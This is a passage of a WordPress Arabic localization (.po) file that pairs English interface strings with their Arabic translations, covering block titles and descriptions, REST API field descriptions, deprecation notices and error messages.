msgstr "مقبض التنسيقات الموجّهة للعامة والمحرر. مهجورة: استخدم \"style_handles\" بدلاً من ذلك."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:724
msgid "Editor style handle. DEPRECATED: Use `editor_style_handles` instead."
msgstr "مقبض تنسيقات المحرر. مهجور: استخدم \"editor_style_handles\" بدلاً من ذلك."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:703
msgid "Editor script handle. DEPRECATED: Use `editor_script_handles` instead."
msgstr "مقبض البرنامج النصي للمحرر. مهجور: استخدم \"editor_script_handles\" بدلاً من ذلك."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:404
msgid "The icon for the post type."
msgstr "أيقونة نوع المحتوى."

#. translators: Add new file.
#: wp-includes/post.php:78 wp-admin/media.php:130 wp-admin/menu.php:69
#: wp-admin/upload.php:175 wp-admin/upload.php:373
msgctxt "file"
msgid "Add New"
msgstr "أضف جديداً"

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:259
msgid "An array of post types that the pattern is restricted to be used with."
msgstr "مصفوفة من أنواع المحتوى التي تم تقييد النمط للاستخدام معها."

#. translators: Character to identify required form fields.
#: wp-includes/general-template.php:5184
msgid "*"
msgstr "*"

#. translators: 1: User name, 2: Edit user link, 3: Logout URL.
#: wp-includes/comment-template.php:2559
msgid "Logged in as %1$s. <a href=\"%2$s\">Edit your profile</a>. <a href=\"%3$s\">Log out?</a>"
msgstr "مُسجل دخول باسم %1$s. <a href=\"%2$s\">تحرير ملفك الشخصي</a>. <a href=\"%3$s\">تسجيل الخروج؟</a>"

#. translators: This string should only be translated if wp-config-sample.php
#. is localized. You can check the localized release package or
#. https://i18n.svn.wordpress.org/<locale code>/branches/<wp
#. version>/dist/wp-config-sample.php
#: wp-includes/class-wp-recovery-mode-cookie-service.php:209
#: wp-includes/pluggable.php:2428 wp-admin/maint/repair.php:51
msgid "put your unique phrase here"
msgstr "ضع عبارتك الفريدة هنا"

#: wp-includes/class-wp-theme-json.php:3340
msgid "Some of the theme.json settings.spacing.spacingScale values are invalid"
msgstr "بعض من قيم settings.spacing.spacingScale في theme.json غير صالحة"

#: wp-includes/class-wp-fatal-error-handler.php:189
msgid "There has been a critical error on this website. Please reach out to your site administrator, and inform them of this error for further assistance."
msgstr "كان هناك خطأ فادح في هذا الموقع. يرجى التواصل مع مسؤول الموقع الخاص بك، وإبلاغهم بهذا الخطأ للحصول على مزيد من المساعدة."

#. translators: %s: Digit to indicate multiple of sizing, eg. 2X-Large.
#: wp-includes/class-wp-theme-json.php:3411
msgid "%sX-Large"
msgstr "%sX-كبير"

#. translators: %s: Digit to indicate multiple of sizing, eg. 2X-Small.
#: wp-includes/class-wp-theme-json.php:3374
msgid "%sX-Small"
msgstr "%sX-صغير"

#. translators: 1: theme.json, 2: Value name, 3: Value path, 4: Another value
#. name.
#: wp-includes/class-wp-theme-json.php:1962
msgid "Your %1$s file uses a dynamic value (%2$s) for the path at %3$s. However, the value at %3$s is also a dynamic value (pointing to %4$s) and pointing to another dynamic value is not supported. Please update %3$s to point directly to %4$s."
msgstr "يستخدم ملف ⁦%1$s⁩ الخاص بك قيمة ديناميكية (⁦%2$s⁩) للمسار في ⁦%3$s⁩. ومع ذلك، فإن القيمة في ⁦%3$s⁩ هي أيضًا قيمة ديناميكية (تشير إلى ⁦%4$s⁩) وتشير إلى قيمة ديناميكية أخرى غير مدعومة. يرجى تحديث ⁦%3$s⁩ للإشارة مباشرة إلى ⁦%4$s⁩."

#. translators: %s: Capability name.
#: wp-includes/capabilities.php:433 wp-includes/capabilities.php:549
msgid "When checking for the %s capability, you must always check it against a specific comment."
msgstr "عند التحقق من الصلاحية %s، يجب عليك دائمًا التحقق منها على تعليق معين."

#. translators: %s: Capability name.
#: wp-includes/capabilities.php:436 wp-includes/capabilities.php:703
msgid "When checking for the %s capability, you must always check it against a specific term."
msgstr "عند التحقق من الصلاحية %s، يجب عليك دائمًا التحقق منها على عنصر معين."

#. translators: %s: Capability name.
#: wp-includes/capabilities.php:439
msgid "When checking for the %s capability, you must always check it against a specific user."
msgstr "عند التحقق من الصلاحية %s، يجب عليك دائمًا التحقق منها على مستخدم معين."

#. translators: Custom template title in the Site Editor referencing a post
#. that was not found. 1: Post type singular name, 2: Post type slug.
#. translators: Custom template title in the Site Editor, referencing a
#. taxonomy term that was not found. 1: Taxonomy singular name, 2: Term slug.
#: wp-includes/block-template-utils.php:569
#: wp-includes/block-template-utils.php:646
msgid "Not found: %1$s (%2$s)"
msgstr "غير موجود: ⁦%1$s (%2$s)"

#. translators: Custom template description in the Site Editor. %s: Post title.
#. translators: Custom template description in the Site Editor. %s: Term title.
#. translators: Custom template description in the Site Editor. %s: Author
#. name.
#: wp-includes/block-template-utils.php:588
#: wp-includes/block-template-utils.php:664
#: wp-includes/block-template-utils.php:787
msgid "Template for %s"
msgstr "القالب الخاص بـ %s"

#. translators: Custom template title in the Site Editor, referencing a deleted
#. author. %s: Author nicename.
#: wp-includes/block-template-utils.php:773
msgid "Deleted author: %s"
msgstr "كاتب محذوف: %s"

#. translators: %s: taxonomy's label
#: wp-includes/blocks/post-terms.php:85
msgid "Display the assigned taxonomy: %s"
msgstr "عرض الفئة التي تم إسنادها: %s"

#. translators: %s: Capability name.
#: wp-includes/capabilities.php:82 wp-includes/capabilities.php:185
#: wp-includes/capabilities.php:284
msgid "When checking for the %s capability, you must always check it against a specific page."
msgstr "عند التحقق من الصلاحية %s، يجب عليك دائمًا التحقق منها على صفحة معينة."

#. translators: %s: Capability name.
#: wp-includes/capabilities.php:79 wp-includes/capabilities.php:182
#: wp-includes/capabilities.php:281 wp-includes/capabilities.php:374
#: wp-includes/capabilities.php:430
msgid "When checking for the %s capability, you must always check it against a specific post."
msgstr "عند التحقق من الصلاحية %s، يجب عليك دائمًا التحقق منها على مقالة معينة."

#: wp-includes/block-patterns.php:148
msgctxt "Block pattern category"
msgid "Footers"
msgstr "التذييلات"

#: wp-includes/block-template-utils.php:133
msgctxt "Template name"
msgid "Single"
msgstr "مفرد"

#: wp-includes/theme.php:3848
msgid "Whether a theme uses block-based templates."
msgstr "ما إذا كان القالب يستخدم القوالب المستندة إلى المكوّنات."

#: wp-includes/option.php:2274
msgid "What to show on the front page"
msgstr "ما يجب عرضه على الصفحة الأمامية"

#: wp-includes/option.php:2294
msgid "The ID of the page that should display the latest posts"
msgstr "مُعرِّف الصفحة التي ينبغي أن تعرض أحدث المقالات"

#: wp-includes/option.php:2284
msgid "The ID of the page that should be displayed on the front page"
msgstr "مُعرِّف الصفحة التي ينبغي عرضها على الصفحة الأمامية"

#. translators: 1: PHP file name, 2: Version number.
#: wp-includes/functions.php:5609
msgid "File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available."
msgstr "الملف %1$s أصبح <strong>مهجورًا</strong> منذُ الإصدار %2$s ولا يوجد له أيّ بديل حتى الآن."

#. translators: 1: PHP function name, 2: Version number, 3: Alternative
#. function name.
#: wp-includes/functions.php:5408
msgid "Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead."
msgstr "الوظيفة %1$s أصبحت <strong>مهجورة</strong> منذُ الإصدار %2$s! استخدم الوظيفة الآتية %3$s بدلاً عن السابقة."

#. translators: 1: PHP function name, 2: Version number.
#: wp-includes/functions.php:5419
msgid "Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available."
msgstr "الوظيفة %1$s أصبحت <strong>مهجورة</strong> منذُ الإصدار %2$s ولا يوجد لها أيّ بديل حتى الآن."

#. translators: 1: PHP file name, 2: Version number, 3: Alternative file name.
#: wp-includes/functions.php:5598
msgid "File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead."
msgstr "الملف %1$s أصبح <strong>مهجورًا</strong> منذُ الإصدار %2$s! استخدم %3$s بدلاً عنه."

#: wp-includes/blocks/read-more/block.json
msgctxt "block title"
msgid "Read More"
msgstr "اقرأ المزيد"

#: wp-includes/blocks/read-more/block.json
msgctxt "block description"
msgid "Displays the link of a post, page, or any other content-type."
msgstr "إظهار رابط لمقالة أو لصفحة أو لأي نوع محتوى آخر."

#: wp-includes/blocks/query-no-results/block.json
msgctxt "block description"
msgid "Contains the block elements used to render content when no query results are found."
msgstr "يحتوي على عناصر المكوّن المستخدمة لمعالجة المحتوى عند عدم العثور على نتائج استعلام."

#: wp-includes/blocks/query-no-results/block.json
msgctxt "block title"
msgid "No results"
msgstr "لا توجد نتائج"

#: wp-includes/blocks/post-author/block.json
msgctxt "block description"
msgid "Display post author details such as name, avatar, and bio."
msgstr "عرض تفاصيل كاتب المقالة مثل الاسم، الصورة الرمزية، والنبذة التعريفيّة."

#: wp-includes/blocks/post-author-biography/block.json
msgctxt "block title"
msgid "Post Author Biography"
msgstr "النبذة التعريفيّة لكاتب المقالة"

#: wp-includes/blocks/post-author-biography/block.json
msgctxt "block description"
msgid "The author biography."
msgstr "النبذة التعريفيّة للكاتب."

#: wp-includes/blocks/home-link/block.json
msgctxt "block description"
msgid "Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header."
msgstr "قم بإنشاء رابط يشير دائمًا إلى الصفحة الرئيسية للموقع. غالبًا لا حاجة لذلك إذا كان رابط عنوان الموقع موجود في الترويسة بالفعل."

#: wp-includes/blocks/comments-title/block.json
msgctxt "block title"
msgid "Comments Title"
msgstr "عنوان التعليقات"

#: wp-includes/blocks/comments/block.json
msgctxt "block description"
msgid "An advanced block that allows displaying post comments using different visual configurations."
msgstr "مكوّن متقدم يسمح لك باستعراض تعليقات المقالة باستخدام إعدادات مرئية مختلفة."

#: wp-includes/blocks/comments-title/block.json
msgctxt "block description"
msgid "Displays a title with the number of comments"
msgstr "يعرض العنوان مع عدد التعليقات"

#: wp-includes/blocks/group/block.json
msgctxt "block description"
msgid "Gather blocks in a layout container."
msgstr "تجميع المكوّنات في حاوية تخطيط."

#: wp-includes/blocks/home-link/block.json
msgctxt "block title"
msgid "Home Link"
msgstr "رابط الصفحة الرئيسية"

#: wp-includes/blocks/comments-pagination/block.json
msgctxt "block description"
msgid "Displays a paginated navigation to next/previous set of comments, when applicable."
msgstr "يعرض قائمة تنقل ذات صفحات مرقمة إلى مجموعة التعليقات التالية/السابقة، عند الاقتضاء."

#: wp-includes/blocks/comments-pagination/block.json
msgctxt "block title"
msgid "Comments Pagination"
msgstr "ترقيم التعليقات"

#: wp-includes/blocks/comments-pagination-previous/block.json
msgctxt "block description"
msgid "Displays the previous comment's page link."
msgstr "إظهار رابط صفحة التعليقات السابقة."

#: wp-includes/blocks/comment-template/block.json
msgctxt "block title"
msgid "Comment Template"
msgstr "قالب التعليقات"

#: wp-includes/blocks/comment-reply-link/block.json
msgctxt "block description"
msgid "Displays a link to reply to a comment."
msgstr "يعرض رابط للرد على تعليق."

#: wp-includes/blocks/comments-pagination-next/block.json
msgctxt "block description"
msgid "Displays the next comment's page link."
msgstr "إظهار رابط صفحة التعليقات التالية."

#: wp-includes/blocks/comments-pagination-numbers/block.json
msgctxt "block description"
msgid "Displays a list of page numbers for comments pagination."
msgstr "إظهار قائمة بأرقام صفحات التعليقات."

#: wp-includes/blocks/comment-template/block.json
msgctxt "block description"
msgid "Contains the block elements used to display a comment, like the title, date, author, avatar and more."
msgstr "يحتوي على عناصر المكوِّن المُستخدمة لعرض تعليق، مثل العنوان والتاريخ والكاتب والصورة الرمزية والمزيد."

#: wp-includes/blocks/comment-reply-link/block.json
msgctxt "block title"
msgid "Comment Reply Link"
msgstr "رابط الرد على التعليقات"

#: wp-includes/blocks/comment-date/block.json
msgctxt "block description"
msgid "Displays the date on which the comment was posted."
msgstr "إظهار التاريخ على التعليق الذي تمّ نشره."

#: wp-includes/blocks/comment-content/block.json
msgctxt "block description"
msgid "Displays the contents of a comment."
msgstr "إظهار محتوى التعليق."

#: wp-includes/blocks/comment-edit-link/block.json
msgctxt "block description"
msgid "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability."
msgstr "يعرض رابط لتحرير التعليق في لوحة تحكم ووردبريس. هذا الرابط مرئي فقط للمستخدمين الذين يمتلكون صلاحية تحرير التعليق."

#: wp-includes/blocks/comment-edit-link/block.json
msgctxt "block title"
msgid "Comment Edit Link"
msgstr "رابط تحرير التعليق"

#: wp-includes/blocks/avatar/block.json
msgctxt "block title"
msgid "Avatar"
msgstr "الصورة الرمزية"

#: wp-includes/blocks/avatar/block.json
msgctxt "block description"
msgid "Add a user’s avatar."
msgstr "إضافة صورة رمزية للمستخدم."

#: wp-includes/blocks/comment-author-name/block.json
msgctxt "block title"
msgid "Comment Author Name"
msgstr "اسم كاتب التعليق"

#: wp-includes/blocks/comment-author-name/block.json
msgctxt "block description"
msgid "Displays the name of the author of the comment."
msgstr "إظهار اسم كاتب التعليق."

#: wp-includes/js/dist/block-library.js:8493 wp-admin/includes/upgrade.php:256
msgid "A WordPress Commenter"
msgstr "مُعلِق ووردبريس"

#. translators: %s: Post title.
#: wp-includes/blocks/comments-title.php:69
#: wp-includes/js/dist/block-library.js:11227
msgid "Responses to %s"
msgstr "الردود على %s"

#. translators: %s: Post title.
#: wp-includes/blocks/comments-title.php:66
#: wp-includes/js/dist/block-library.js:11224
msgid "Response to %s"
msgstr "الرد على %s"

#: wp-includes/js/dist/block-library.js:9412
#: wp-includes/blocks/comment-date/block.json
msgctxt "block title"
msgid "Comment Date"
msgstr "تاريخ التعليق"

#: wp-includes/js/dist/block-library.js:9258
#: wp-includes/blocks/comment-content/block.json
msgctxt "block title"
msgid "Comment Content"
msgstr "محتوى التعليق"

#. translators: Hidden accessibility text.
#: wp-includes/js/dist/block-library.js:2213
#: wp-includes/js/dist/block-library.js:2256
#: wp-admin/options-discussion.php:303 wp-admin/options-discussion.php:307
msgid "Default Avatar"
msgstr "الصورة الرمزية الافتراضية"

#: wp-trackback.php:138
msgid "There is already a ping from that URL for this post."
msgstr "هناك بالفعل تنبيه من ذاك الرابط لهذا المقال."

#. translators: 1: Documentation URL, 2: wp-config.php
#: wp-load.php:91 wp-admin/setup-config.php:195
msgid "Need more help? <a href=\"%1$s\">Read the support article on %2$s</a>."
msgstr "هل تريد المزيد من المساعدة؟ <a href=\"%1$s\">اقرأ المقالة الداعمة لذلك على %2$s</a>."

#: wp-login.php:927
msgid "The password cannot be a space or all spaces."
msgstr "لا يمكن أن تكون كلمة المرور مسافة أو كلها مسافات."

#. translators: %s: Database name.
#: wp-includes/class-wpdb.php:1246
msgid "The database server could be connected to (which means your username and password is okay) but the %s database could not be selected."
msgstr "يمكن الاتصال بخادم قاعدة البيانات (مما يعني أن اسم المستخدم وكلمة المرور على ما يرام) ولكن لا يمكن تحديد قاعدة البيانات %s."

#: wp-includes/class-wpdb.php:1242
msgid "Cannot select database"
msgstr "تعذر تحديد قاعدة البيانات"

#. translators: %s: A list of valid video file extensions.
#: wp-includes/widgets/class-wp-widget-media-video.php:51
msgid "Sorry, the video at the supplied URL cannot be loaded. Please check that the URL is for a supported video file (%s) or stream (e.g. YouTube and Vimeo)."
msgstr "عذرًا، لا يمكن تحميل الفيديو الموجود على الرابط المقدم. يرجى التحقق من أن الرابط هو لملف فيديو مدعوم (%s) أو خدمة بث (مثل YouTube و Vimeo)."

#. translators: %s: URL to media library.
#: wp-includes/widgets/class-wp-widget-media.php:501
msgid "That file cannot be found. Check your <a href=\"%s\">media library</a> and make sure it was not deleted."
msgstr "لا يمكن العثور على هذا الملف. تحقق من <a href=\"%s\">مكتبة الوسائط</a> وتأكد من أن الملف لم يتم حذفه."

#. translators: %s: URL to media library.
#: wp-includes/widgets/class-wp-widget-media-image.php:44
msgid "That image cannot be found. Check your <a href=\"%s\">media library</a> and make sure it was not deleted."
msgstr "لا يمكن العثور على تلك الصورة. تحقق من <a href=\"%s\">مكتبة الوسائط</a> وتأكد بأنّ الصورة لم يتمّ حذفها."

#. translators: %s: URL to media library.
#: wp-includes/widgets/class-wp-widget-media-video.php:44
msgid "That video cannot be found. Check your <a href=\"%s\">media library</a> and make sure it was not deleted."
msgstr "لا يمكن العثور على ذلك الفيديو. تحقق من <a href=\"%s\">مكتبة الوسائط</a> وتأكد بأنّ الفيديو لم يتمّ حذفه."

#. translators: %s: URL to media library.
#: wp-includes/widgets/class-wp-widget-media-audio.php:44
msgid "That audio file cannot be found. Check your <a href=\"%s\">media library</a> and make sure it was not deleted."
msgstr "لا يمكن العثور على ذلك الملف الصوتي. تحقق من <a href=\"%s\">مكتبة الوسائط </a> وتأكد بأن الملف لم يتم حذفه."

#: wp-includes/user.php:2217
msgid "User URL may not be longer than 100 characters."
msgstr "عنوان URL الخاص بالمستخدم لا ينبغي أن يكون أطول من 100 مَحرف."

#. translators: %s: $network_id
#: wp-includes/user.php:1354 wp-includes/user.php:1378
#: wp-includes/user.php:1411 wp-includes/user.php:1459
msgid "Unable to pass %s if not using multisite."
msgstr "غير قادر على تمرير %s إذا لم تكن تستخدم مواقع متعددة."

#: wp-includes/script-loader.php:3364
msgid "Webfont font family must be a non-empty string."
msgstr "يجب أن تكون عائلة خطوط الويب سلسلة نصية غير فارغة."

#: wp-includes/script-loader.php:3387
msgid "Webfont font weight must be a properly formatted string or integer."
msgstr "يجب أن يكون وزن خط الويب عبارة عن سلسلة نصية أو عدد صحيح مُصاغ بشكل صحيح."

#: wp-includes/script-loader.php:3379
msgid "Each webfont src must be a non-empty string."
msgstr "يجب أن يكون مصدر كل خط ويب سلسلة نصية غير فارغة."

#: wp-includes/script-loader.php:3371
msgid "Webfont src must be a non-empty string or an array of strings."
msgstr "يجب أن يكون مصدر خط الويب سلسلة نصية غير فارغة أو مصفوفة من السلاسل النصية."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:686
msgid "Ancestor blocks."
msgstr "سلف المكوّنات"

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:235
msgid "Determines whether the pattern is visible in inserter."
msgstr "يحدِّد ما إذا كان النمط مرئيًا في أداة الإدراج أم لا."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:333
msgid "Limit results to those matching a pattern (slug)."
msgstr "حصر النتائج على من يطابق النمط (اسم لطيف)."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:205
msgid "The pattern name."
msgstr "اسم النمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:134
msgid "The category name."
msgstr "اسم التصنيف."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:223
msgid "The pattern detailed description."
msgstr "الوصف التفصيلي للنمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:241
msgid "The pattern category slugs."
msgstr "الأسماء اللطيفة لتصنيف النمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:70
msgid "Sorry, you are not allowed to view the registered block pattern categories."
msgstr "عذرًا، لا يُسمح لك بعرض تصنيفات نمط المكوِّن المُسجَّلة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:140
msgid "The category label, in human readable format."
msgstr "تسمية التصنيف، بصيغة قابلة للقراءة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:253
msgid "Block types that the pattern is intended to be used with."
msgstr "أنواع المكوّنات التي من المقرر استخدام النمط معها."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:247
msgid "The pattern keywords."
msgstr "الكلمات الدلالية للنمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:229
msgid "The pattern viewport width for inserter preview."
msgstr "عرض منفذ العرض لمعاينة النمط في أداة الإدراج."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:90
msgid "Sorry, you are not allowed to view the registered block patterns."
msgstr "عذرًا، لا يُسمح لك بعرض أنماط المكوِّنات المُسجلَّة."

#: wp-includes/media.php:4625 wp-admin/edit.php:181 wp-admin/post.php:322
#: wp-admin/upload.php:287
msgid "Error in deleting the attachment."
msgstr "حصل خطأ ما أثناء حذف المرفق."

#. translators: Unit symbol for exabyte.
#: wp-includes/functions.php:469
msgctxt "unit symbol"
msgid "EB"
msgstr "إكسابايت"

#. translators: Unit symbol for petabyte.
#: wp-includes/functions.php:471
msgctxt "unit symbol"
msgid "PB"
msgstr "بيتابايت"

#. translators: Unit symbol for yottabyte.
#: wp-includes/functions.php:465
msgctxt "unit symbol"
msgid "YB"
msgstr "يوتابايت"

#. translators: Unit symbol for zettabyte.
#: wp-includes/functions.php:467
msgctxt "unit symbol"
msgid "ZB"
msgstr "زيتابايت"

#: wp-includes/functions.php:1603
msgid "<strong>Error:</strong> This is not a valid feed template."
msgstr "<strong>خطأ:</strong> هذا ليس قالب تغذية صالح."

#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:133
#: wp-admin/includes/class-walker-nav-menu-edit.php:236
msgid "The description will be displayed in the menu if the active theme supports it."
msgstr "سيتم عرض الوصف في القائمة إذا كان القالب النشط يدعم ذلك."

#: wp-includes/class-wp-xmlrpc-server.php:6973
msgid "A title on that page cannot be found."
msgstr "تعذر العثور على عنوان في تلك الصفحة."

#: wp-includes/class-wp-theme.php:1022
msgctxt "color scheme"
msgid "Dark"
msgstr "داكن"

#: wp-includes/class-wp-theme.php:1023
msgctxt "color scheme"
msgid "Light"
msgstr "فاتح"

#: wp-includes/class-wp-theme.php:303
msgid "<strong>Error:</strong> The themes directory is either empty or does not exist. Please check your installation."
msgstr "<strong>خطأ:</strong> مجلد القوالب فارغ أو غير موجود. يرجى التحقّق من التنصيب."

#: wp-includes/class-wp-image-editor-gd.php:92
#: wp-includes/class-wp-image-editor-gd.php:101
#: wp-includes/class-wp-image-editor-imagick.php:132
msgid "File does not exist?"
msgstr "الملف غير موجود؟"

#: wp-includes/blocks/rss.php:17
msgid "Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the <strong>Latest Posts</strong> block, to list posts from the site."
msgstr "ميزة إضافة تغذية RSS إلى الصفحة الرئيسية لهذا الموقع غير مدعومة، إذ من الممكن أن تؤدي إلى حلقة تبطئ موقعك. حاول استخدام مكوّن آخر، مثل Block <strong> أحدث المقالات</strong>، لإدراج المقالات من الموقع."

#: wp-includes/blocks/comments-title.php:74
#: wp-includes/js/dist/block-library.js:11232
msgid "Responses"
msgstr "الردود"

#: wp-includes/blocks/comments-pagination-previous.php:18
#: wp-includes/js/dist/block-library.js:8467
#: wp-includes/js/dist/block-library.js:8522
#: wp-includes/js/dist/block-library.js:10418
msgid "Older Comments"
msgstr "التعليقات الأقدم"

#: wp-includes/blocks/comments-pagination-next.php:25
#: wp-includes/js/dist/block-library.js:8471
#: wp-includes/js/dist/block-library.js:8526
#: wp-includes/js/dist/block-library.js:10752
msgid "Newer Comments"
msgstr "التعليقات الأحدث"

#. translators: %s is the Author name.
#. translators: %s is the Comment Author name
#: wp-includes/blocks/avatar.php:85 wp-includes/blocks/avatar.php:112
#: wp-includes/js/dist/block-library.js:2213
#: wp-includes/js/dist/block-library.js:2256
msgid "%s Avatar"
msgstr "الصورة الرمزية لـ %s"

#: wp-includes/blocks/comments-title.php:72
#: wp-includes/js/dist/block-library.js:11230
msgid "Response"
msgstr "رد"

#. translators: %s is the Comment Author name.
#: wp-includes/blocks/avatar.php:127
msgid "(%s website link, opens in a new tab)"
msgstr "(رابط الموقع الإلكتروني لـ %s، يُفتح في تبويب جديد)"

#. translators: %s is the Author name.
#: wp-includes/blocks/avatar.php:100
msgid "(%s author archive, opens in a new tab)"
msgstr "(أرشيف الكاتب %s، يفتح في تبويب جديد)"

#. translators: %1s: file name; %2s: slug value found.
#: wp-includes/block-patterns.php:401
msgid "Could not register file \"%1$s\" as a block pattern (invalid slug \"%2$s\")"
msgstr "تعذر تسجيل الملف \"%1$s\" كنمط مكوِّن (اسم لطيف غير صالح \"%2$s\")"

#. translators: %s: file name.
#: wp-includes/block-patterns.php:388
msgid "Could not register file \"%s\" as a block pattern (\"Slug\" field missing)"
msgstr "تعذر تسجيل الملف \"%s\" كنمط مكوِّن (حقل \"الاسم اللطيف\" مفقود)"

#. translators: %1s: file name; %2s: slug value found.
#: wp-includes/block-patterns.php:419
msgid "Could not register file \"%s\" as a block pattern (\"Title\" field missing)"
msgstr "تعذر تسجيل الملف \"%s\" كنمط مكوِّن (حقل \"العنوان\" مفقود)"

#: wp-includes/block-patterns.php:71
msgctxt "Block pattern category"
msgid "Featured"
msgstr "المميّزة"

#: wp-includes/script-loader.php:1301
msgid "Use Site Editor"
msgstr "استخدم محرر الموقع"

#. translators: 1: Link to Site Editor documentation on HelpHub, 2: HTML
#. button.
#: wp-includes/script-loader.php:1296
msgid "Hurray! Your theme supports site editing with blocks. <a href=\"%1$s\">Tell me more</a>. %2$s"
msgstr "تهانينا! قالبك يدعم التعديل بإستخدام المكوِّنات. <a href=\"%1$s\">معرفة المزيد</a>. %2$s"

#: wp-includes/blocks/site-logo.php:85
msgid "Site icon."
msgstr "أيقونة الموقع."

#: wp-includes/theme.json
msgctxt "Font size name"
msgid "Extra Large"
msgstr "كبير جدًا"

#: wp-includes/blocks/term-description/block.json
msgctxt "block title"
msgid "Term Description"
msgstr "وصف العنصر"

#: wp-includes/blocks/template-part/block.json
msgctxt "block description"
msgid "Edit the different global regions of your site, like the header, footer, sidebar, or create your own."
msgstr "تحرير المناطق الرئيسية المختلفة في موقعك، مثل الهيدر، الفوتر، الشريط الجانبي، أو إنشاء شيء خاص بك."

#: wp-includes/blocks/term-description/block.json
msgctxt "block description"
msgid "Display the description of categories, tags and custom taxonomies when viewing an archive."
msgstr "عرض وصف التصنيفات، الوسوم والفئات المخصصة عند عرض الأرشيف."

#: wp-includes/blocks/template-part/block.json
msgctxt "block title"
msgid "Template Part"
msgstr "جزء القالب"

#: wp-includes/blocks/site-title/block.json
msgctxt "block description"
msgid "Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results."
msgstr "عرض اسم الموقع. قم بتحديث المكوّن، وسيتم تطبيق التغييرات في كل مكان تم استخدامه فيه. يظهر هذا أيضًا في شريط عنوان المتصفح وفي نتائج البحث."

#: wp-includes/blocks/table/block.json
msgctxt "block description"
msgid "Create structured content in rows and columns to display information."
msgstr "إنشاء محتوى مُنظم في جدول لعرض المعلومات بشكل مُنسق."

#: wp-includes/blocks/site-logo/block.json
msgctxt "block description"
msgid "Display a graphic to represent this site. Update the block, and the changes apply everywhere it’s used. This is different than the site icon, which is the smaller image visible in your dashboard, browser tabs, etc used to help others recognize this site."
msgstr "عرض رسم لتمثيل هذا الموقع. قم بتحديث المكّون، وسيتم تطبيق التغييرات في كل مكان تم استخدامه فيه. هذا يختلف عن أيقونة الموقع، وهي أصغر صورة تظهر في لوحة التحكم الخاصة بك، وفي علامات تبويب المتصفح وما إلى ذلك، والمستخدمة لمساعدة الآخرين في التعرف على هذا الموقع."

#: wp-includes/blocks/query-pagination-previous/block.json
msgctxt "block title"
msgid "Previous Page"
msgstr "الصفحة السابقة"

#: wp-includes/blocks/query-pagination-next/block.json
msgctxt "block title"
msgid "Next Page"
msgstr "الصفحة التالية"

#: wp-includes/blocks/post-navigation-link/block.json
msgctxt "block title"
msgid "Post Navigation Link"
msgstr "رابط التنقل للمقالة"

#: wp-includes/blocks/query-pagination-numbers/block.json
msgctxt "block title"
msgid "Page Numbers"
msgstr "أرقام الصفحات"

#: wp-includes/blocks/post-navigation-link/block.json
msgctxt "block description"
msgid "Displays the next or previous post link that is adjacent to the current post."
msgstr "عرض رابط المقالة التالية أو المقالة السابقة المصاحبة للمقالة الحالية."

#: wp-includes/blocks/query-pagination/block.json
msgctxt "block title"
msgid "Pagination"
msgstr "تعدد الصفحات"

#: wp-includes/blocks/quote/block.json
msgctxt "block style label"
msgid "Plain"
msgstr "عادي"

#: wp-includes/blocks/post-comments-form/block.json
msgctxt "block description"
msgid "Display a post's comments form."
msgstr "عرض نموذج تعليقات المقالة."

#: wp-includes/blocks/navigation/block.json
msgctxt "block title"
msgid "Navigation"
msgstr "التنقّل"

#: wp-includes/blocks/post-author/block.json
msgctxt "block title"
msgid "Post Author"
msgstr "كاتب المقالة"

#: wp-includes/blocks/navigation-submenu/block.json
msgctxt "block title"
msgid "Submenu"
msgstr "القائمة الفرعية"

#: wp-includes/blocks/navigation-link/block.json
msgctxt "block title"
msgid "Custom Link"
msgstr "رابط مخصص"

#: wp-includes/blocks/pattern/block.json
msgctxt "block title"
msgid "Pattern"
msgstr "نمط"

#: wp-includes/blocks/navigation/block.json
msgctxt "block description"
msgid "A collection of blocks that allow visitors to get around your site."
msgstr "مجموعة من المكوّنات التي تسمح للزوار بالتعرف على موقعك."

#: wp-includes/blocks/pattern/block.json
msgctxt "block description"
msgid "Show a block pattern."
msgstr "عرض نمط لـ مكوّن."

#: wp-includes/blocks/navigation-link/block.json
msgctxt "block description"
msgid "Add a page, link, or another item to your navigation."
msgstr "إضافة صفحة أو رابطًا أو عنصرًا آخر إلى قائمة التصفّح الخاصة بك."

#: wp-includes/blocks/navigation-submenu/block.json
msgctxt "block description"
msgid "Add a submenu to your navigation."
msgstr "أضف قائمة فرعية لقائمة التصفّح الخاص بك."

#: wp-includes/blocks/post-comments-form/block.json
msgctxt "block title"
msgid "Post Comments Form"
msgstr "نموذج تعليقات المقالة"

#: wp-includes/blocks/columns/block.json
msgctxt "block description"
msgid "Display content in multiple columns, with blocks added to each column."
msgstr "عرض المحتوى في عدة أعمدة، من خلال إضافة مكوّنات لكل عمود."

#. translators: Hidden accessibility text.
#: wp-includes/js/dist/block-library.js:38147
#: wp-admin/includes/class-wp-list-table.php:825
#: wp-admin/includes/class-wp-list-table.php:859
